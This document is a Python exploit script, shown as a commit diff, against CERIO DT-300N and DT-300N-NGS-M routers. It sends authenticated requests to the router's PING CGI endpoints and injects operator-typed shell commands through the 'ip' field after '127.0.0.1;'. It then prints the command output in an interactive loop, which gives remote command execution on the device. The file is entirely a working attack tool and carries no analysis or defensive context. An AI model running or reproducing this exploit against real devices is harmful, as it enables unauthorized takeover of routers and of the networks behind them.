1
+ #author:九世
2
+ #time:2019/1/30
3
+
4
+ import requests
5
+ import json
6
+ import base64
7
+
8
+ class Demo :
9
+ def __init__ (self ,headers ,url ,payload ,url2 ):
10
+ self .headers = headers
11
+ self .url = url
12
+ self .payload = payload
13
+ self .url2 = url2
14
+
15
+ def requet (self ):
16
+ ver = 'DT-300N-NGS-M'
17
+ ver2 = 'DT-300N'
18
+ version = ''
19
+ vurl = ''
20
+ rqt = requests .post (url = self .url ,headers = self .headers ,data = self .payload )
21
+ nurl = ''
22
+ nersion = ''
23
+ if rqt .status_code == requests .codes .ok :
24
+ print ('[+] Router version number is {}' .format (ver ))
25
+ while True :
26
+ rqt = requests .post (url = self .url , headers = self .headers , data = self .payload )
27
+ nurl += rqt .url
28
+ nersion += ver
29
+ nary = json .loads (rqt .content )
30
+ cmd = input ('command:' )
31
+ payload = {'ip' : '127.0.0.1;' + 'echo "[[[";' + cmd , 'pid' : nary ['pid' ], 'Times' : 1 }
32
+ self .command (self .url , headers , payload ,nersion )
33
+
34
+ elif rqt .status_code == requests .codes .not_found : #判断状态码是否为404
35
+ print ('[-] Router version number is not {}' .format (ver ))
36
+ rqts = requests .post (url = self .url2 ,headers = headers ,data = self .payload )
37
+ if rqts .status_code == requests .codes .ok :
38
+ print ('[+] Router version number is {}' .format (ver2 ))
39
+ while True :
40
+ rqts = requests .post (url = self .url2 , headers = headers , data = self .payload )
41
+ version += ver2
42
+ vurl += rqts .url
43
+ vary = json .loads (rqts .content )
44
+ cmd = input ('command:' )
45
+ payload = {'ip' : '127.0.0.1;' + 'echo "[[[";' + cmd , 'pid' : vary , 'Times' : 1 }
46
+ self .command (self .url2 ,headers ,payload ,version )
47
+ elif rqts .status_code == requests .codes .not_found :
48
+ print ('[-] Router version number is not {}' .format (ver2 ))
49
+ exit ()
50
+ elif rqts .status_code == requests .codes .unauthorized :
51
+ print ('[-] Auth is invalid, try other creds' )
52
+ exit ()
53
+
54
+ def command (self ,url ,header ,data ,ver ):
55
+ rsv = requests .post (url = url ,headers = header ,data = data )
56
+ if ver == 'DT-300N' :
57
+ print (rsv .text .split ('/html' )[1 ])
58
+ else :
59
+ print (rsv .text .split ('[[[' )[1 ])
60
+ if __name__ == '__main__' :
61
+ print ('[&] The version of CERIO that is vulnerable is as follows' )
62
+ print ('[!] CERIO DT-300N-NGS-M\n [!] CERIO DT-300N' )
63
+ print ('' )
64
+ t = ''
65
+ path = '/cgi-bin/main.cgi?cgi=PING&mode=9'
66
+ path2 = '/cgi-bin/Save.cgi?cgi=PING'
67
+ user = input ('host:' ).strip ()
68
+ ports = input ('port:' ).strip ()
69
+ username = input ('creds:' ).strip ()
70
+ creds = bytes (base64 .b64encode (bytes (username ,encoding = 'utf-8' ))).decode ('utf-8' )
71
+ if ports in '443' :
72
+ t += 'https://'
73
+ else :
74
+ t += 'http://'
75
+
76
+
77
+ urls = t + user + ':' + ports + path
78
+ urls2 = t + user + ':' + ports + path2
79
+ payload = {'cgi' :'PING' ,'mode' :9 }
80
+ headers = {'content-type' : 'application/json' , 'Host' : user , 'Accept-Encoding' : 'gzip, deflate' ,'Content-Length' : '0' , 'Connection' : 'keep-alive' , 'Authorization' : 'Basic {}' .format (creds )}
81
+ obj = Demo (headers = headers ,payload = payload ,url = urls ,url2 = urls2 )
82
+ obj .requet ()
0 commit comments